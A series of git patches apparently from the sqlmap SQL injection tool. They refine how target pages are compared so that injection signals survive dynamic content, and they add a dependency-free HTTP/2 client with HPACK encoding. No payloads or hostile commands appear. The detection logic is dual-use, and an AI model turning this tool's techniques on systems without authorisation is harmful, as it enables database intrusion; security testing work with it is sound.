+ "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL
+ self.assertIsNone(self._run(truth))
if __name__ == "__main__":
From 8a75c0bb6253a7f196a0ca6422a57c031200ef72 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Wed, 1 Jul 2026 11:06:39 +0200
Subject: [PATCH 02/30] Minor patch
---
data/txt/sha256sums.txt | 4 ++--
lib/controller/checks.py | 42 +++++++++++++++++++++-------------------
lib/core/settings.py | 2 +-
3 files changed, 25 insertions(+), 23 deletions(-)
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index 342609ae6..ec1d82ff0 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
-6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py
+736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py
666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
@@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py
+2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 95417492c..a7200e3e3 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1289,6 +1289,27 @@ def checkDynamicContent(firstPage, secondPage):
count += 1
if count > conf.retries:
+ # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
+ # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
+ # requests - base the comparison on that value-free structure instead. Dynamic text
+ # (e.g. per-render result rows) then no longer masks an injection whose signal is
+ # structural (the HTML counterpart of the structure-aware JSON comparison). Content
+ # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
+ # to '--text-only' as before.
+ skeleton = extractStructuralTokens(firstPage)
+ if skeleton and skeleton == extractStructuralTokens(secondPage):
+ kb.pageStructurallyStable = True
+
+ if kb.nullConnection:
+ debugMsg = "turning off NULL connection support because of structural page comparison"
+ logger.debug(debugMsg)
+ kb.nullConnection = None
+
+ infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+ infoMsg += "will base the page comparison on the page structure"
+ logger.info(infoMsg)
+ return
+
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
logger.warning(warnMsg)
@@ -1394,26 +1415,7 @@ def checkStability():
raise SqlmapNoneDataException(errMsg)
else:
- # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
- # whether the page is structurally stable (identical tag/class/id skeleton across the two
- # requests) despite differing text. If so, base the comparison on that value-free structure
- # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
- # the HTML counterpart of the structure-aware JSON comparison
- if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
- kb.pageStructurallyStable = True
-
- if kb.nullConnection:
- debugMsg = "turning off NULL connection "
- debugMsg += "support because of structural page comparison"
- logger.debug(debugMsg)
-
- kb.nullConnection = None
-
- infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
- infoMsg += "will base the page comparison on the page structure"
- logger.info(infoMsg)
- else:
- checkDynamicContent(firstPage, secondPage)
+ checkDynamicContent(firstPage, secondPage)
return kb.pageStable
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 29ce4db15..c3180e447 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.1"
+VERSION = "1.10.7.2"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
From 39ba1bc00e8ecab79aaed63596de028b1a5c8978 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miroslav=20=C5=A0tampar?=
Date: Wed, 1 Jul 2026 12:21:11 +0200
Subject: [PATCH 03/30] Adding custom/own support for HTTP2
---
data/txt/sha256sums.txt | 7 +-
lib/core/settings.py | 2 +-
lib/request/connect.py | 44 +---
lib/request/http2.py | 544 ++++++++++++++++++++++++++++++++++++++++
lib/utils/deps.py | 10 -
5 files changed, 560 insertions(+), 47 deletions(-)
create mode 100644 lib/request/http2.py
diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index ec1d82ff0..68ae7e13f 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-2f4c7044d36e183fcb0a019d82ccbc7222abab1878454c479df9e89d23430733 lib/core/settings.py
+35c24cf138fdd68add3c8f6274d6ff735b5209c84eec635ba316f986b67325ef lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
@@ -212,9 +212,10 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site
369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py
bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py
9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py
-729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py
+c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py
8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py
+21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py
@@ -256,7 +257,7 @@ c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques
aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
-a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py
+51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py
bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py
51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py
3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py
diff --git a/lib/core/settings.py b/lib/core/settings.py
index c3180e447..f1fc8935e 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.2"
+VERSION = "1.10.7.3"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/connect.py b/lib/request/connect.py
index 40c42390b..a14309fa8 100644
--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDelayed
-from lib.core.compat import LooseVersion
from lib.core.compat import patchHeaders
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
@@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import LIVE_COOKIES_TIMEOUT
-from lib.core.settings import MIN_HTTPX_VERSION
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
@@ -632,30 +630,22 @@ class Connect(object):
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
if conf.http2:
- try:
- import httpx
- except ImportError:
- raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
+ from lib.request.http2 import open_url as http2OpenUrl
- if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
- raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
+ h2proxy = None
+ if conf.proxy:
+ _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
+ if (_proxyParts.scheme or "").lower().startswith("socks"):
+ raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
+ h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
try:
- proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
- with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
- conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
- except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
+ conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
+ except IOError as ex:
raise _http_client.HTTPException(getSafeExString(ex))
else:
- if conn.status_code >= 400:
- raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
-
- conn.code = conn.status_code
- conn.msg = conn.reason_phrase
- conn.info = lambda c=conn: c.headers
-
- conn._read_buffer = conn.read()
- conn._read_offset = 0
+ if conn.code >= 400:
+ raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
@@ -663,18 +653,6 @@ class Connect(object):
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
-
- def _read(count=None):
- offset = conn._read_offset
- if count is None:
- result = conn._read_buffer[offset:]
- conn._read_offset = len(conn._read_buffer)
- else:
- result = conn._read_buffer[offset: offset + count]
- conn._read_offset += len(result)
- return result
-
- conn.read = _read
else:
if not multipart:
threadData.lastRequestMsg = requestMsg
diff --git a/lib/request/http2.py b/lib/request/http2.py
new file mode 100644
index 000000000..2af00c69e
--- /dev/null
+++ b/lib/request/http2.py
@@ -0,0 +1,544 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
+# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
+# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
+# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
+
+import base64
+import socket
+import ssl
+import struct
+
+try:
+ from http.client import responses as _HTTP_RESPONSES
+except ImportError:
+ from httplib import responses as _HTTP_RESPONSES
+
+try:
+ from urllib.parse import urljoin, urlsplit
+except ImportError:
+ from urlparse import urljoin, urlsplit
+
+from email.message import Message as _Message
+
+REDIRECT_CODES = (301, 302, 303, 307, 308)
+
+
+HUFFMAN_CODES = [
+ 0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
+ 0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
+ 0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
+ 0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
+ 0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
+ 0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
+ 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
+ 0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
+ 0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
+ 0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
+ 0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
+ 0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
+ 0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
+ 0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
+ 0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
+ 0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
+ 0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
+ 0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
+ 0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
+ 0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
+ 0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
+ 0x3fffffff
+]
+
+
+HUFFMAN_LENGTHS = [
+ 0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
+ 0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
+ 0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
+ 0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
+ 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
+ 0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
+ 0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
+ 0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
+ 0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
+ 0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
+ 0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
+ 0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
+ 0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
+ 0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
+]
+
+
+STATIC_TABLE = (
+ (b':authority', b''),
+ (b':method', b'GET'),
+ (b':method', b'POST'),
+ (b':path', b'/'),
+ (b':path', b'/index.html'),
+ (b':scheme', b'http'),
+ (b':scheme', b'https'),
+ (b':status', b'200'),
+ (b':status', b'204'),
+ (b':status', b'206'),
+ (b':status', b'304'),
+ (b':status', b'400'),
+ (b':status', b'404'),
+ (b':status', b'500'),
+ (b'accept-charset', b''),
+ (b'accept-encoding', b'gzip, deflate'),
+ (b'accept-language', b''),
+ (b'accept-ranges', b''),
+ (b'accept', b''),
+ (b'access-control-allow-origin', b''),
+ (b'age', b''),
+ (b'allow', b''),
+ (b'authorization', b''),
+ (b'cache-control', b''),
+ (b'content-disposition', b''),
+ (b'content-encoding', b''),
+ (b'content-language', b''),
+ (b'content-length', b''),
+ (b'content-location', b''),
+ (b'content-range', b''),
+ (b'content-type', b''),
+ (b'cookie', b''),
+ (b'date', b''),
+ (b'etag', b''),
+ (b'expect', b''),
+ (b'expires', b''),
+ (b'from', b''),
+ (b'host', b''),
+ (b'if-match', b''),
+ (b'if-modified-since', b''),
+ (b'if-none-match', b''),
+ (b'if-range', b''),
+ (b'if-unmodified-since', b''),
+ (b'last-modified', b''),
+ (b'link', b''),
+ (b'location', b''),
+ (b'max-forwards', b''),
+ (b'proxy-authenticate', b''),
+ (b'proxy-authorization', b''),
+ (b'range', b''),
+ (b'referer', b''),
+ (b'refresh', b''),
+ (b'retry-after', b''),
+ (b'server', b''),
+ (b'set-cookie', b''),
+ (b'strict-transport-security', b''),
+ (b'transfer-encoding', b''),
+ (b'user-agent', b''),
+ (b'vary', b''),
+ (b'via', b''),
+ (b'www-authenticate', b''),
+)
+STATIC_LEN = len(STATIC_TABLE)
+
+
+# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
+
+# frame types (RFC 7540 s6)
+DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
+# flags
+FLAG_END_STREAM = 0x1
+FLAG_ACK = 0x1
+FLAG_END_HEADERS = 0x4
+FLAG_PADDED = 0x8
+FLAG_PRIORITY = 0x20
+
+CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
+
+def encode_frame(ftype, flags, stream_id, payload=b""):
+ if len(payload) > 0xffffff:
+ raise ValueError("frame payload exceeds 24-bit length")
+ header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
+ header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
+ return header + payload
+
+def decode_frame_header(nine):
+ if len(nine) != 9:
+ raise ValueError("frame header must be exactly 9 bytes")
+ length = struct.unpack("!I", b"\x00" + nine[:3])[0]
+ ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
+ return length, ftype, flags, stream_id & 0x7fffffff
+
+# ---------- Huffman ----------
+def huffman_encode(data):
+ if not data:
+ return b""
+ acc = 0
+ nbits = 0
+ for b in bytearray(data):
+ acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
+ nbits += HUFFMAN_LENGTHS[b]
+ pad = (8 - nbits % 8) % 8
+ acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
+ total = (nbits + pad) // 8
+ out = bytearray()
+ for i in range(total - 1, -1, -1):
+ out.append((acc >> (8 * i)) & 0xff)
+ return bytes(out)
+
+_HUFF_ROOT = {}
+def _build_huffman_trie():
+ for sym in range(256):
+ code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
+ node = _HUFF_ROOT
+ for i in range(length - 1, -1, -1):
+ bit = (code >> i) & 1
+ if i == 0:
+ node[bit] = sym # leaf: int symbol
+ else:
+ node = node.setdefault(bit, {})
+_build_huffman_trie()
+
+def huffman_decode(data):
+ out = bytearray()
+ node = _HUFF_ROOT
+ consumed = 0 # bits into the current (partial) symbol
+ for byte in bytearray(data):
+ for i in range(7, -1, -1):
+ bit = (byte >> i) & 1
+ nxt = node.get(bit)
+ if nxt is None:
+ raise ValueError("invalid Huffman sequence")
+ consumed += 1
+ if isinstance(nxt, dict):
+ node = nxt
+ else:
+ out.append(nxt)
+ node = _HUFF_ROOT
+ consumed = 0
+ # RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
+ if node is not _HUFF_ROOT:
+ if consumed >= 8:
+ raise ValueError("Huffman padding too long")
+ # walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
+ # since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
+ return bytes(out)
+
+# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
+def encode_integer(value, prefix_bits, first_byte=0):
+ mask = (1 << prefix_bits) - 1
+ if value < mask:
+ return bytearray([first_byte | value])
+ out = bytearray([first_byte | mask])
+ value -= mask
+ while value >= 0x80:
+ out.append((value & 0x7f) | 0x80)
+ value >>= 7
+ out.append(value)
+ return out
+
+def decode_integer(data, pos, prefix_bits):
+ mask = (1 << prefix_bits) - 1
+ value = data[pos] & mask
+ pos += 1
+ if value < mask:
+ return value, pos
+ shift = 0
+ while True:
+ b = data[pos]
+ pos += 1
+ value += (b & 0x7f) << shift
+ shift += 7
+ if not (b & 0x80):
+ break
+ return value, pos
+
+def encode_string(value, huffman=True):
+ if huffman:
+ encoded = huffman_encode(value)
+ if len(encoded) < len(value): # only use Huffman when it actually shrinks
+ return encode_integer(len(encoded), 7, 0x80) + encoded
+ return encode_integer(len(value), 7, 0x00) + bytearray(value)
+
+def decode_string(data, pos):
+ huffman = bool(data[pos] & 0x80)
+ length, pos = decode_integer(data, pos, 7)
+ raw = bytes(data[pos:pos + length])
+ pos += length
+ return (huffman_decode(raw) if huffman else raw), pos
+
+# ---------- dynamic table + decoder/encoder ----------
+class Decoder(object):
+ def __init__(self, max_size=4096):
+ self.max_size = max_size
+ self.dynamic = [] # newest first: [(name, value), ...]
+ self._size = 0
+
+ def _entry_size(self, name, value):
+ return 32 + len(name) + len(value)
+
+ def _add(self, name, value):
+ self.dynamic.insert(0, (name, value))
+ self._size += self._entry_size(name, value)
+ self._evict()
+
+ def _evict(self):
+ while self._size > self.max_size and self.dynamic:
+ name, value = self.dynamic.pop()
+ self._size -= self._entry_size(name, value)
+
+ def _get(self, index):
+ if index <= 0:
+ raise ValueError("invalid header index 0")
+ if index <= STATIC_LEN:
+ return STATIC_TABLE[index - 1]
+ index -= STATIC_LEN + 1
+ if index >= len(self.dynamic):
+ raise ValueError("dynamic index out of range")
+ return self.dynamic[index]
+
+ def decode(self, data):
+ data = bytearray(data)
+ pos = 0
+ headers = []
+ n = len(data)
+ while pos < n:
+ byte = data[pos]
+ if byte & 0x80: # 6.1 indexed
+ index, pos = decode_integer(data, pos, 7)
+ headers.append(self._get(index))
+ elif byte & 0x40: # 6.2.1 literal + incremental indexing
+ index, pos = decode_integer(data, pos, 6)
+ if index:
+ name = self._get(index)[0]
+ else:
+ name, pos = decode_string(data, pos)
+ value, pos = decode_string(data, pos)
+ self._add(name, value)
+ headers.append((name, value))
+ elif byte & 0x20: # 6.3 dynamic table size update
+ new_size, pos = decode_integer(data, pos, 5)
+ self.max_size = new_size
+ self._evict()
+ else: # 6.2.2 without / 6.2.3 never indexed (4-bit prefix)
+ index, pos = decode_integer(data, pos, 4)
+ if index:
+ name = self._get(index)[0]
+ else:
+ name, pos = decode_string(data, pos)
+ value, pos = decode_string(data, pos)
+ headers.append((name, value))
+ return headers
+
+class Encoder(object):
+ # Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
+ # (Correctness-critical decoding is the hard part; a server accepts this trivially.)
+ def encode(self, headers):
+ out = bytearray()
+ for name, value in headers:
+ out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
+ out += encode_string(name)
